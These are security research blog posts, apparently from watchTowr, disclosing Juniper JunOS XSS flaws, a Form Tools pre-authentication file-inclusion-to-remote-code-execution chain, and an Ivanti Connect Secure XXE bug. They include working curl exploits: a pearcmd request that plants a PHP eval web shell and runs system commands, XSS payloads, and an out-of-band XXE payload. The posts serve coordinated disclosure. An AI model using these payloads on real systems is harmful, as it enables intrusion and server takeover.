        --data-binary $'rs=emit_debug_note&rsargs[]=a&rsargs[]=device is on fire'  \\
         $'<https://hostname/webauth_operation.php>'
+:<h3><b>ERROR: device is on fire</b></h3><br><br><div style="text-align: left; font-family: monospace;"></div>''

However, we can embed HTML (and thus javascript) in there too:

$ curl --insecure -X $'POST'     \\
       --data-binary $'rs=emit_debug_note&rsargs[]=a&rsargs[]=<script>alert(\\'XSS\\');</script>'    \\
        $'<https://hostname/webauth_operation.php>'
+:<h3><b>ERROR: <script>alert('XSS');</script></b></h3><br><br><div style="text-align: left; font-family: monospace;"></div>''

The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited

The second is almost the same, with similar behavior caused by a different function in the same endpoint (sajax_show_one_stub):

curl --insecure -X $'POST' \\
     --data-binary $'rs=sajax_show_one_stub&rsargs[]=ab<script>alert(\\'watchTowr\\');</script>' \\
    $'<https://hostname/webauth_operation.php>'
+:
                // wrapper for ab<script>alert('watchTowr');</script>
                function x_ab<script>alert('watchTowr');</script>() {
            sajax_do_call("","ab<script>alert('watchTowr');</script>",
                                x_ab<script>alert('watchTowr');</script>.arguments);
                }

                ''

Closing Words

It's interesting how vulnerabilities seem to 'cluster' - in this case, while chasing a single vulnerability, we spotted a few different vulnerabilities in related code.

You'll probably be relieved to know (depending on your agenda) that Juniper has released fixes for all these issues. Juniper advise that while they haven't yet applied for a CVE ID, the first of our vulnerabilities is tracked as PR 1763260. It affects 'all versions of JunOS', and it is fixed in the following releases:

  • 20.4R3-S9
  • 21.2R3-S7
  • 21.3R3-S5
  • 21.4R3-S6
  • 22.1R3-S5
  • 22.2R3-S3
  • 22.3R3-S2
  • 22.4R3
  • 23.2R1-S2
  • 23.2R2
  • 23.4R1

Likewise, Juniper advise they have not assigned CVE IDs for the two XSS vulnerabilities as of today. These vulnerabilities affect JunOS from version 22.4R1 onward, with the following versions containing fixes:

  • 22.4R2-S2
  • 22.4R3
  • 23.2R1-S2
  • 23.2R2
  • 23.4R1

Finally, the 'missing authentication' vulnerability. Juniper again advise that this affects 'all versions of Junos'. Fixes are available for various versions of JunOS:

  • 20.4R3-S9
  • 21.3R3-S5
  • 21.2R3-S7
  • 21.4R3-S6
  • 22.1R3-S5 (due to be released 1st Feb 2024)
  • 22.2R3-S3
  • 22.3R3-S2
  • 22.4R3
  • 23.2R1-S2
  • 23.2R2
  • 23.4R1

You may note that those users who require 22.1R3-S5 are left out in the cold, as patches for this version aren't available until the first of February. Juniper comment that "[we] have fixes available .. except for one release .. which we think is tolerable".

We can only hope this decision aligns with the threat model of Juniper's customer base.

As we mentioned previously - Juniper usually publish advisories on “the second Wednesday of the first month of every quarter”, which seems a strange schedule given how urgent security updates tend to be. We’ve often stated that a vendor’s response to vulnerabilities such as these can be critical in closing their client’s ‘window of vulnerability’.

Given this, it is interesting that Juniper did not find at least the missing authentication vulnerability to be severe enough to justify an out-of-cycle advisory, nor to register CVE or mention them in the release notes (although they did deem them important enough to request we delay our usual and industry-aligned 90-day VDP timeline). [Update - Juniper have now done this and provided additional explaination, see below for details]

This is what we do every day for our clients - if you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
16th September 2023 Initial report to Juniper
16th September 2023 watchTowr hunts for vulnerable appliances across client attack surfaces, and provides mitigation advice under confidentiality
7th November 2023 Juniper details fixes, requests disclosure extension until 11th January 2024
28th November 2023 watchTowr grants extension, requests additional information from Juniper
6th December 2023 watchTowr repeats previous request for additional information
11th January 2024 Coordinated disclosure date
18th January 2024 Ivanti happened, so watchTowr delayed disclosure
30th January 2024 Juniper publishes CVE and JSA disclosure (see below)

Update : 30th Jan 2024

After some pressure, Juniper have now issued CVE-2024-21619 and CVE-2024-21620, and noted "two additional vulnerabilities that had been addressed in JSA72300" (presumably we re-discovered bugs that they fixed while addressing JSA72300, deliberately or otherwise). They've also issued an out-of-cycle bulletin documenting these bugs and their fixes, and communicated via email their apologies for poor communication. They comment that "Our assessment of the vulnerabilities reported by you has changed", which explains the out-of-cycle advisory they previously concluded to be unnecessary.

They also explained that, due to non-technical reasons, they typically apply for CVE late in the reporting cycle, a process they have since reviewed, and state that their original intention was to apply for CVE (and publish a JSA) once fixes were available for all supported releases.

Form Tools Remote Code Execution: We Need To Talk About PHP

By: Sonny
8 February 2024 at 13:52
Form Tools Remote Code Execution: We Need To Talk About PHP

When looking across the attack surface of large enterprises, the expectation is the utilisation of well-known heavy-hitting software and appliances. Think your Citrix's, Cisco's, MOVEit's, and other such excitement.

These products are enterprise-grade, in the sense that they typically go through some sort of security process during development (.. or you’d hope so, anyway) and come up against heavy scrutiny.

However, the reality is that large enterprises (and potentially shadow IT) utilise lesser-known frameworks and CMS’s to fit their tight deadlines. Unfortunately, these smaller-scale implementations typically come with a lower barrier to entry for attackers when hunting for vulnerabilities.

To whet your appetite for what we’re going to demonstrate, below is a deep dive into a Local File Inclusion vulnerability which can lead to Remote Code Execution in installations of ‘Form Tools’, an open-source PHP-based application for creating, storing and sharing forms on the Internet, of over 15 year vintage. A short search across open data platforms reveals over 1,000 installations with "we just discovered Shodan"-tier fingerprints.

Yes, you read it right, another framework that we’ve stumbled across ‘in the wild’ deployed to - once again - recreate the purpose of the magical HTML <form> tag with overly complex server-side logic and functionality. We’re no strangers to over-engineered approaches to simple topics, you only have to take a brief look into our analysis of Orbeon Forms to see our stripes on display.

But… before we go into the technical analysis of this process, and all the fun we had along the way, we thought perhaps we’d share a little philosophical point of discussion that seems to be super-popular in recent times.

PHP bad?

Form Tools Remote Code Execution: We Need To Talk About PHP

So, is bagging on PHP just a cool bandwagon to jump on? Or is there an actual basis to this viewpoint?

Well, PHP has historically earned a name synonymous with vulnerabilities for a variety of reasons. One of the most obvious is its ‘beginner friendly’ style, with various flavours of dangerous functions beautifully laid out (if you’re not convinced, take a gander at the OWASP ‘no-no’ guide).

Sure, there are battle-hardened frameworks, such as Laravel and WordPress. While these frameworks seem to have less frequent issues, the reality for most developers (including, in our experience, large enterprises) is that custom-built PHP code is still required, where nasty bugs can creep in.

It is no coincidence that, if you started your offensive security journey with a certification, CTF, or training, you most likely rapidly encountered a vulnerable PHP application. It’s an incredibly straightforward platform in which to demonstrate vulnerabilities such as Local or Remote File Inclusion, SQL Injection, or various deserialization issues (the list could go on).

Here at watchTowr, we have a variety of backgrounds, from Red Teaming to Bug Bounty Hunting, and many of us share the same workflow when we come across PHP applications in the wild:

  1. Is it PHP?
    1. Is it custom?
      1. LFG!

Sure, not everyone will have the same opinion (and that’s OK - they’re missing out on those sweet sweet PHP vulnerabilities, more for us).

Aprons On

Now that we’re finished philosophising, let’s take a look at Form Tools. As usual, we like to make sure the researchers at home can follow along, so to get started, grab your apron, get to your stations, and fire up the following Docker image to get you going:

version: '3.8'

services:
  # Apache with PHP
  web:
    image: php:7.4-apache
    ports:
      - "8088:80"
    depends_on:
      - db
    entrypoint: 
      - "bash"
      - "-c"
      - "apt-get update -y &&
          apt-get install unzip -y &&
          docker-php-ext-install pdo pdo_mysql && 
          docker-php-ext-install mysqli && 
          docker-php-ext-enable mysqli && 
          curl '<https://formtools.org/download/packages/Formtools-3.1.1-02202026.zip>' -o /tmp/Formtools.zip &&
          unzip /tmp/Formtools.zip -d /var/www/html/ &&
          apache2-foreground &&
					chmod -R a+rw /var/www/html/formtools"

  # MySQL
  db:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: examplepassword
      MYSQL_DATABASE: mydatabase
      MYSQL_USER: myuser
      MYSQL_PASSWORD: mypassword
    volumes:
      - ./db_data:/var/lib/mysql
    ports:
      - "3308:3306"

A quick docker compose up -d will get the server ready and accessible at http://localhost:8088/formtools/ .

Sort This Mess Out

In previous blogs, we’ve gone into detail on how to map out the attack surface of Java applications and servlets. In traditional PHP applications such as this, it's actually pretty straightforward, so no real detail is needed. There is a bit of clutter and noise involved, but we’ll go through how to find the juicy-ripe files to look at including in our dish.

All files within the webroot are directly accessible and exposed to the network by the web server, but we’re interested specifically in functionalities provided by the PHP application which are available from a pre-authenticated perspective for the max impact that we’re cooking up.

A quick find command can be used to extract a list of PHP files accessible in the webroot. In total, there should find 1043 php files to look at.

By just blasting HTTP requests without authentication material at this list against the web server, we can see a common 302 redirect to “/?message=notify_no_account_id_in_sessions” in a number of responses.

To identify where this is coming from, we can look at a quick-and-obvious example that checks for auth in /admin/client/index.php:

<?php

require_once("../../global/library.php");

use FormTools\\Administrator;
use FormTools\\Clients;
use FormTools\\Core;
use FormTools\\General;
use FormTools\\Pages;
use FormTools\\Sessions;
use FormTools\\Themes;

Core::init();
Core::$user->checkAuth("admin");

Those that are fluent in common sense will likely determine that the checkAuth() function checks to see if authentication has taken place. Therefore, let’s discard any files tested that redirect (and thus have this check), and look further down the list of our hits (tl;dr 1043 minus 76).

To further refine our focus, we can approach the following filtration techniques:

  • Removing any script which presents an error, stack trace or 500 status code (not uninteresting per se - but for this ‘first glance’ we want access to files which execute successfully).
  • Removing any files which contain module, lib, class or vendor in their path. These files are typically included in other files, as opposed to those intended to be executed by users directly.

Fast-forward using this approach, and we’re able to retrieve a handful of files that are of interest. From our initial 1043, we’re down to 7 files:

  • /index.php
  • /forget_password.php
  • /install/index.php
  • /install/actions-installation.php
  • /error.php
  • /process.php
  • /admin/index.php

Now, your spidey-sense is probably the same as ours - the file that stood out most to us was /install/actions-installation.php, simply because installation files should be very off-limits on a production server after the setup process has been completed. We’ve seen remnants of the installation procedure be a recent cause for concern with Atlassian’s Confluence, for example (we’re thinking of CVE-2023-22518, in which a leftover setup endpoint could be used to reset the administrative password).

When manually inspecting PHP files, you typically need to train your eyes to look for user input that comes in through PHP global variables such as $_GET, $_REQUEST , and $_POST (and others). This will be where your nefarious ideas can take control as we push our data through the labyrinth of code.

On lines 21-23 of this file, we can see the consumption from both GET and POST parameters of a “lang” variable:

$currentLang = General::loadField("lang", "lang", Core::getDefaultLang());
$request = array_merge($_GET, $_POST);
Core::setCurrentLang($currentLang);

Tracing the origin of the function setCurrentLang leads us to /global/code/Core.class.php , line 641:

public static function setCurrentLang($lang)
{
	self::$currLang = $lang;
	self::$translations = new Translations(self::$currLang);
	self::$L = self::$translations->getStrings();
}

Further diving into the instantiation of the Translations object takes us to /global/code/Translations.class.php where we can see the sink for the parameters value:

class Translations
{
    private $list;
    private $L;

    function __construct($lang) {
        $json = file_get_contents(__DIR__ . "/../lang/manifest.json");
        $translations = json_decode($json);

        // store the full list of translations
        $this->list = $translations->languages;

        // now load the appropriate one. This may be better with an autoloader & converting the lang files to classes.
        $lang_file = $lang . ".php";
        include(realpath(__DIR__ . "/../lang/{$lang_file}"));

        if (isset($LANG)) {
            $this->L = $LANG;
        }
    }

If your eyes are not trained to hone in on questionable PHP code quite yet, fear not.

You can see the line where the parameter $lang is concatenated with a ".php" string before being used with an include() function.

Hopefully, your brain is now in tune, and you can see where we’re heading! That’s right, we’re playing with that OWASP original, Local File Inclusion (LFI).

If you’re simply too young to have remembered a time when these were prolific, and you could shell half the Internet with this one simple trick, some good reading can be found at OWASP - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion.

In a typical scenario where you’re looking to exploit an LFI in a PHP application, we would simply inject PHP code into web server logs or another predictable location, and then use our LFI to include this file (where PHP automatically expects the contents to be PHP), riding our way to Remote Code Execution.

However, given that our user-controlled input is suffixed with the .php string before being passed into the include() function, we’re at a disadvantage - we simply can’t include any file without a .php extension.

In older versions of PHP (<5.3), it was possible to truncate the value of a string by injecting a large enough value (4096 chars), and in other versions, you could use null bytes (HTTP-encoded as %00) to just discard the remainder of the string. However, we’re playing with new tech here - modern problems require modern solutions, old techniques aren’t going to cut it.

Before we start driving for our ultimate goal of Remote Code Execution, we first need to validate that local file inclusion has taken place.

A simple request to the endpoint with an erroneous value for the lang param gives us this insightful PHP error:

curl -i -s -k -X $'GET' \\
    -H $'Host: localhost:8088' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php?lang=/>'
<br />
<b>Warning</b>:  include(): Filename cannot be empty in <b>/var/www/html/formtools/global/code/Translations.class.php</b> on line <b>23</b><br />
<br />
<b>Warning</b>:  include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/formtools/global/code/Translations.class.php</b> on line <b>23</b><br />

Shazam! We’re on to something - the response tells us that we control the contents of the include() call, and we’re definitely onto something. Perhaps to further verify, we can include one of the other PHP files within the webroot, such as process.php :

curl -i -s -k -X $'GET' \\
    -H $'Host: localhost:8088' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php?lang=../../process>'
The "<b>error.tpl</b>" template could not be located at the following locations:
                  <b>/var/www/html/formtoolsz/themes/default/error.tpl</b> and <b>/var/www/html/formtoolsz/themes/default/error.tpl</b>.

Perfect - the difference in responses indicates that we’re able to control, via user input, the string being parsed to an include() function. With our prior thinking confirmed, we’re well on the road to success.

Form Tools Remote Code Execution: We Need To Talk About PHP

Cooking Up A Storm

So let’s take stock of the available ingredients for our exploitation. We have:

  • A Local File Inclusion
    • Which is pre-authentication
    • Which supports arbitrary directory traversal
    • But is limited to including files ending in “.php”.

The filename limitation can be quite damaging to our recipe for success, but it’s not time to be discouraged. Like the Michelin-star chefs that we are, it's time to cook!

At first we looked at modern day ways to truncate the string, blasting through large character variations and using all sorts of bytes at the end of the parameter value in an attempt to somehow get us out of this predicament. All of this, sadly, was futile, like attempting to cook an omelette with no eggs.

Our aim here isn’t to find a zero-day in PHP (Editors note: ahem), so we had to think outside the box.

What do we know?

Well, we know that we can include any PHP file that exists on the file system but we’re kind of back to square one when it comes to including the known PHP files we started with (the huge list of 1043 files) - but frankly, this sounds like a lot of work.

Once again, remembering the words of scientists and lawyers - work smart, never hard (ever) - we decided to look deeper in the cupboards to find the seasoning we need.

At the start of the blog, we demonstrated h4x0r skills when we used the find command to discover all the *.php files available to us in the webroot.

Imagine we reran this command - but this time, slightly differently. How about we run this command again, but this time from the root of the server? Doing this, we can observe a large number of PHP scripts outside the webroot. Interesting!

After we recovered from a moment of intense self-praise, a directory (/usr/local/lib/php/PEAR ) stood out - especially as it is normally inaccessible via the webserver. For those unaware, the PEAR PHP framework (https://pear.php.net/) is installed by default on many Docker containers that use PHP - and most modern-day systems.

Could PEAR be the secret ingredient needed to make our dish palatable? A secret stash of herbs and spices usually hidden from the attacker, but newly-accessible with our LFI?

Editors note: We need to ban food-related puns, absolutely never again. I will actually claw my eyes out.

Let Them Cook

A bit of Internet sleuthing later - using all those h4x0r skills we discussed earlier - we looked for prior art around the PEAR package, specifically noting that pearcmd.php is quite popular in CTF’s and typically in conjunction with Local File Inclusions… fancy that!

Anyway, we dug into pearcmd.php to see how it works. On line 57 a variable $argv is set from a function readPHPArgv() .

$argv = Console_Getopt::readPHPArgv();

Looking deeper at the function in /usr/local/lib/php/Console/Getopt.php on line 349 shows us the following PHP block:

public static function readPHPArgv()
{
	global $argv;
	if (!is_array($argv)) {
		if (!@is_array($_SERVER['argv'])) {
			if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
				$msg = "Could not read cmd args (register_argc_argv=Off?)";
				return PEAR::raiseError("Console_Getopt: " . $msg);
      }
	    return $GLOBALS['HTTP_SERVER_VARS']['argv'];
    }
	  return $_SERVER['argv'];
  }
	return $argv;
}

Once again, your eyes should be honing in on that sweet $_SERVER method, feeding in values from a HTTP request URL (assuming the PHP environment variable register_argc_argv is set to true). These values are returned as global variables for the $argv parameter.

What follows is a flurry of functions and class calls, passing our parameters around like hot potatoes, far too deep to go into real detail here. Eventually, though, we end up in /PEAR/Command/Config.php where we can execute certain functions, such as config-create via doConfigCreate() and then writeConfigFile(), which allows us to write data to an arbitrary file path with the right parameter format:

function writeConfigFile($file = null, $layer = 'user', $data = null)
{
        $this->_lazyChannelSetup($layer);
        if ($layer == 'both' || $layer == 'all') {
            foreach ($this->files as $type => $file) {
                $err = $this->writeConfigFile($file, $type, $data);
                if (PEAR::isError($err)) {
                    return $err;
                }
            }
            return true;
        }

        if (empty($this->files[$layer])) {
            return $this->raiseError("unknown config file type `$layer'");
        }

        if ($file === null) {
            $file = $this->files[$layer];
        }

        $data = ($data === null) ? $this->configuration[$layer] : $data;
        $this->_encodeOutput($data);
        $opt = array('-p', dirname($file));
        if (!@System::mkDir($opt)) {
            return $this->raiseError("could not create directory: " . dirname($file));
        }

        if (file_exists($file) && is_file($file) && !is_writeable($file)) {
            return $this->raiseError("no write access to $file!");
        }

        $fp = @fopen($file, "w");
        if (!$fp) {
            return $this->raiseError("PEAR_Config::writeConfigFile fopen('$file','w') failed ($php_errormsg)");
        }

        $contents = "#PEAR_Config 0.9\\n" . serialize($data);
        if (!@fwrite($fp, $contents)) {
            return $this->raiseError("PEAR_Config::writeConfigFile: fwrite failed ($php_errormsg)");
        }
        return true;
}

Who are we kidding - you’re looking for the finished recipe right?

Editors note: Make it end

Well, to get into config-create and write your nefarious code to disk, just use the following CURL command:

curl -i -s -k -X $'GET' \\
    -H $'Host: localhost:8088' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php?lang=+config-create+/&lang=../../../../../../usr/local/lib/php/pearcmd&/><?=eval($_POST[1]);?>+/tmp/watchTowr.php'

Then re-include our malicious script with an id command in the POST parameter 1 :

curl -i -s -k -X $'POST' \\
    -H $'Host: localhost:8088' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 52' \\
    --data-binary $'lang=../../../../../../tmp/watchTowr&1=system(\\'id\\');' \\
    $'<http://localhost:8088/formtools/install/actions-installation.php>'

The proof is in the pudding:

Editors note: For the love of God
HTTP/1.1 200 OK
Date: Wed, 07 Feb 2024 05:33:34 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: PHPSESSID=1f39edb68b6a402720fb16fc4b638675; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1493
Connection: close
Content-Type: text/html; charset=utf-8

#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/php";s:8:"data_dir";s:83:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/data";s:7:"www_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/www";s:7:"cfg_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/cfg";s:7:"ext_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/ext";s:7:"doc_dir";s:83:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/docs";s:8:"test_dir";s:84:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/tests";s:9:"cache_dir";s:84:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/cache";s:12:"download_dir";s:87:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/download";s:8:"temp_dir";s:83:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/temp";s:7:"bin_dir";s:78:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear";s:7:"man_dir";s:82:"/&lang=../../../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
/pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}

Cleaning The Dishes

Form Tools Remote Code Execution: We Need To Talk About PHP

As with all of our research, it's not enough to just find bugs, we need to help fix the problems.

Editors note: This is news to me

To do this, we contacted the developers of Form Tools on several occasions, and while communication was initially fluid, this communication shortly ceased and our developer friend went MIA.

We understand in the world of open source tools, maintaining code comes with time and effort, and eventually you have to let go and put your project out to pasture.

The developer was quite frank with us that the project is no longer under active development so we can’t fault them for the urge to look for new ventures.

Unfortunately for the servers we see online, this leaves them without an answer and opens them up to exploitation. If you are running a vulnerable version of Form Tools (version 3.1.1) we suggest removing the file /install/actions-installation.php after installation or blocking access via a .htaccess /proxy rule set.

Timeline

Date Detail
5th November 2023 Vulnerability discovered
6th November 2023 Requested security contact for Form Tools
16th November watchTowr hunts through client's attack surfaces for impacted systems and communicates with those affected.
16th November 2023 Received security contact, disclosed to Form Tools
2nd January 2024 Contacted Form Tools developers for update and to offer remediation help
11th January 2024 Followed up again to offer help and to ask for an update
8th February 2024 Blogpost and PoC released to public

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

By: Sonny
9 February 2024 at 04:52
Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

As astute readers of our Twitter account (https://twitter.com/watchtowrcyber) and blog will know, we’ve recently been heavily involved in understanding the recent spatter of vulnerabilities in Ivanti products - most recently, their Connect Secure product which portrays itself as an SSLVPN device.

We’re incredibly proud of the work we did in January - as the first in the industry to release reliable mechanisms to identify a vulnerable Ivanti Connect Secure appliance affected by CVE-2023-46805 & CVE-2024-21887. That work was used by numerous parties, including ShadowServer, to help the industry react ahead of PoCs and patches being released and inform unaware but affected parties.

As we discussed in our recent blogpost, The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited, vulnerabilities have a habit of clustering.

While hunting for CVE-2024-21893, we came across a further (trivial, in our opinion) vulnerability in the Ivanti Connect Secure device which was reported to Ivanti on the same day. As discussed at the time, we always apply our 90 day VDP process to give any vendor the time needed to patch vulnerabilities.

We tweeted about the existence of this vulnerability to notify the world that these devices remain a liability (in our opinion).

We have received criticism for our decision to tweet about the existence of a vulnerability - citing claims of 'unactionability'. Our view is very simple - given we could find these 0days so trivially and the clear APT attention that Ivanti appliances have received, we felt it is not unreasonable to expect another APT to find said vulnerability in the near-future and start using it to once again compromise organisations. We maintain this view.

We aimed to communicate a very simple message - that focused monitoring should not be reduced as of yet - and even worked with numerous partners to enable responses beyond our client base.

We are incredibly proud of our work to enable industry and help prevent breaches.

We have chosen multiple times - including this time - to not release weaponized PoCs given the relatively short timelines organisations have to remediate. While others have made decisions to the opposite of this, we have seen a direct correlation between mass exploitation attempts and PoC release timelines.

We strongly believe PoCs are good for the industry, but there is a balance between giving organisations a chance to patch the vulnerabilities first - and not just "apply a mitigation XML file" (which Ivanti themselves cautioned care around, due to the triviality in which it could be 'un-applied').

As always, our commitment remains with our clients - we remain incredibly proud to have helped clients of the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming technology, identify exploitable and vulnerable appliances globally and implement mitigations ahead of Ivanti disclosing CVE-2024-22024 to the world.

We applied our 90 day VDP process, and went back to doing what we do best - hacking the planet.

But Why, Ivanti?

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

There has been a little drama around the public advisory of this vulnerability, and thus we've decided to detail timeline below.

We reported the identified vulnerability (that we detail below) initially on Friday 2nd February 2024, with full reproducer. Acknowledgement of our submission was received same day from Ivanti - we were offered the opportunity to submit information for a bug bounty, but we declined.

On 5th February 2024, we followed up with Ivanti to report another affected endpoint for the same class of vulnerability.

On Wednesday 7th February 2024, Ivanti acknowledged this vulnerability and assigned a CVE.

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

Our curiosity was piqued - why were Ivanti reserving a 2023 CVE for this vulnerability reported in 2024?

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

Ivanti responded confirming the mistake, and correction with a 2024 CVE:

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

Today, Friday 9th February 2024, we are pleased to see that Ivanti has released an advisory for this vulnerability:

https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways-282024

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

We did find this comment a little curious, but perhaps we have a new set of colleagues?

Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti?

What Did We Go Looking For

Anyway.

We today want to give you some insight into our thought process and methodology for discovery of CVE-2024-22024.

Given there have been several issues and mishandled remediation efforts over the last few weeks, we decided to play devil's advocate on behalf of our clients - perhaps Ivanti had not correctly resolved the previously disclosed Server-Side Request Forgery vulnerability (CVE-2024-21893), and thus we decided to split our research efforts into two.

  • Team A would look into the reproducer PoC for the SSRF whilst
  • Team B would look for bypasses/unintended consequences of the patch.

Whilst there was overlap in our approach, we shared a common goal of demonstrating a high-impact vulnerability in a critical network appliance - an SSLVPN - and living up to our promise of securing our clients proactively.

For those at home wondering where to start, we had a glimmer of light shared by Ivanti in their KB article - "https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways”

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Our senses were heightened and focused on various SAML components. For Server-Side Request Forgery vulnerability to amalgamate in SAML functionality, we’re typically looking at three likely scenarios:

  • Custom SAML tags
  • XSLT Transformations
  • XML External Entity (XXE) Injection

Having gained a shell on the box as demonstrated in our previous article: https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/ we were quickly able to narrow down a list of endpoints relevant to the SAML component that are accessible from a pre-authenticated perspective.

  • /dana-na/auth/saml-logout.cgi
  • /dana-na/auth/saml-sso.cgi
  • /dana-na/auth/saml-consumer.cgi
  • /dana-na/auth/saml-inter.cgi
  • /dana-na/auth/saml-endpoint.cgi

The Previous SSRFs

It’s already become public knowledge of how to reproduce the SSRF - we’ve seen numerous PoCs flood the industry and become tools of mass crypto-mining - so we’d like to spare a thought for our triage friends, operating bug bounty programs.

As this information is more than available in the public domain at this point, we won’t go into too much depth or repeat, but we hold a significant amount of respect for our industry peers who worked tirelessly to help defenders recognise the impact to their devices and promptly update their appliances.

What Have We Created?

Naturally, having shortlisted a list of interesting endpoints, it was time to dive into each of them and look for bugs. Ivanti’s responses are very helpful - they are kind enough to prompt with the required parameters in the HTTP response in order to meet the minimum requirements for the .cgi’s to execute.

Short of this, we have access to the perl scripts in cleartext for additional support (thanks to our previous FDE work with Ivanti devices).

We spent some time tracing the parameters and functions of each endpoint but found no direct consequence that could be exploitable.

However, what was of interest was the utilisation of libraries for processing the data.

Perhaps we weren’t looking deep enough yet, for example in the endpoint /dana-na/auth/saml-sso.cgi several parameters are eventually fed into an external wrapper function not present in the relevant Perl script:

if ($result eq 'Proceed') {
        DSSamlWrapper::SAMLSSOService::process($dsidcookieval, $remoteAddr, $spId, $spInitiated, 
            $resource, $requestType, $request, $relayState, $sigAlg, $signature, $encoding, $authAssertRef, 
            $serverHostName, $remotePort, $serverAddr, $userAgent, $status);

        $result = $status->getValue(0,$DSSamlWrapper::DSSAMLAuthnStatus);
    }

We knew it was going to be necessary to boot up our reverse engineering toolset and dive into compiled binaries to work out what is going on with a holistic mindset but something inside us said - no need, this is an Ivanti device, how hard could it be? Perhaps we just need to fuzz?

As mentioned previously - we were looking at several avenues when playing around with the available SAML functionality, including the possibility of an XML External Entity (XXE) Injection vulnerability.

Whilst the endpoints displayed helpful errors based on missing parameters, not enough information was being displayed for an error-based approach as seen in our previous OpenCMS blog. We had to go for an Out-Of-Bounds approach, i.e. a blind injection which may coerce the backend to request our listening infrastructure.

The most vanilla and well-known payload for testing OOB XXE is the following:

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM "http://{{external-host}}/x"> %watchTowr;]><r></r>

We attempted this with the endpoint /dana-na/auth/saml-sso.cgi via the HTTP POST parameter SAMLRequest , as this endpoint does not require a correctly configured value for the RelayState or TARGET parameters (i.e. we can do this blind).

Simply base64’ing the XXE payload results in a long delay in the returned HTTP response and a successful DNS callback to our infrastructure.

At this point we had to pause… did a basic XXE payload - that we could copy off an OSCP course - actually work?

Quickly we confirmed that this wasn’t present in older versions but had been introduced into the latest version of Ivanti Connect-Secure. Yes, you’re reading it right, they’ve messed up once again with their remediation and introduced an even higher impact bug.

Our team split was worth the planning.

What’s The Impact?

Well, we have spent some time figuring it out - but a big shout out to Ivanti for rushing out an advisory and so here we are.

XXE is an introduction to a variety of impacts: DOS, Local File Read, and SSRF. The impact, plainly, of the SSRF depends on what protocols are available for usage.

We noted that we were only able to achieve a DNS callback to our external infra via HTTP (HTTPS didn’t work).

Over the last few weeks issues have arisen predominantly because of the internal Python API servers running on various local ports. Several command injections have been discovered across the vast amount of APIs bound to localhost on an Invait Connect Secure appliance that are accessible from an unauthenticated perspective (read: we theorise that with the SSRF impact of this XXE, we believe with high likelihood that Command Execution/Injection is once again possible).

Given the timeline Ivanti has gone for, and the pass APT/ransomware gang attention we believe this vulnerability will now get - we have prematurely ceased our research here, and leave you with the payload to demonstrate that XXE has taken place. We believe this will help industry identify vulnerable appliances, without the need of releasing a weaponised PoC.

As this is difficult to do with a simple Python script owing to the fact an external listening server is required, we’ve lent help from our friends across the aisle and utilised a well-formed Nuclei template that uses an interactsh server for the callback.

Vulnerability Detection

